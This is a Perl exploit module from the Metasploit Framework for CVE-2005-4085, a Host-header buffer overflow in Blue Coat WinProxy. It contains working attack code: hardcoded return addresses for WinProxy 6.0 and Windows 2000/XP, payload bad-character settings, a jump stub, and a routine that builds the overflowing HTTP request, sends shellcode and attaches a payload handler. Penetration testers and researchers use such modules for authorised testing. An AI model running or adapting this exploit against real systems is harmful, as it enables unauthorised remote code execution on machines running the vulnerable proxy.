##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::bluecoat_winproxy;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
{

'Name' => 'Blue Coat Systems WinProxy Host Header Buffer Overflow',
'Version' => '$Revision: 1.1 $',
'Authors' => [ 'y0 [at] w00t-shell.net', ],
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'winnt', 'win2000', 'winxp', 'win2003' ],
'Priv' => 0,
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 80],
'SSL' => [0, 'BOOL', 'Use SSL'],
},
'AutoOpts' => { 'EXITFUNC' => 'thread' },
'Payload' =>
{
'Space' => 600,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",
'Keys' => ['+ws2ord'],
},

'Description' => Pex::Text::Freeform(qq{
This module exploits a buffer overflow in Blue Coat Systems WinProxy
HTTP proxy service. This flaw is triggered when the service processes
a HTTP request that has a long string specified as the HTTP port.

}),

'Refs' =>
[
['URL', 'http://www.idefense.com/intelligence/vulnerabilities/display.php?id=364'],
['CVE', '2005-4085'],
],

'Targets' =>
[
['WinProxy 6.0 R1c Universal', 0x6020ba04], # Asmdat.dll
['Windows 2000 Pro English ALL', 0x75022ac4], # ws2help.dll
['Windows XP Pro SP0/SP1 English', 0x71aa32ad], # ws2help.dll
],

'Keys' => ['winproxy'],

'DisclosureDate' => 'January 5 2005',
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}

sub Check {
my ($self) = @_;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');

my $getreq =
"GET / HTTP/1.1". "\r\n".
"Host: 127.0.0.1". "\r\n\r\n";

my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);
if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return $self->CheckCode('Connect');
}

$s->Send($getreq);
my $res = $s->Recv(-1, 10);
$s->Close();

if ($res !~ /BlueCoat-WinProxy/)
{
$self->PrintLine("[*] BlueCoat-WinProxy is not running =(");
return $self->CheckCode('Safe');
}

$self->PrintLine("[*] BlueCoat-WinProxy is running!");
return $self->CheckCode('Detected');
}

sub Exploit
{
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];

if (! $self->InitNops(128)) {
$self->PrintLine("[*] Failed to initialize the nop module.");
return;
}

my $sploit =
"GET / HTTP/1.1". "\r\n".
"Host: 127.0.0.1:". Pex::Text::AlphaNumText(23).
"\xeb\x06\x92\x46". pack('V', $target->[1]).
$shellcode. "\r\n\r\n".

$self->PrintLine(sprintf("[*] Trying to exploit target %s 0x%.8x", $target->[0], $target->[1]));

my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);
if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}

$s->Send($sploit);
$self->Handler($s);
$s->Close();
return;
}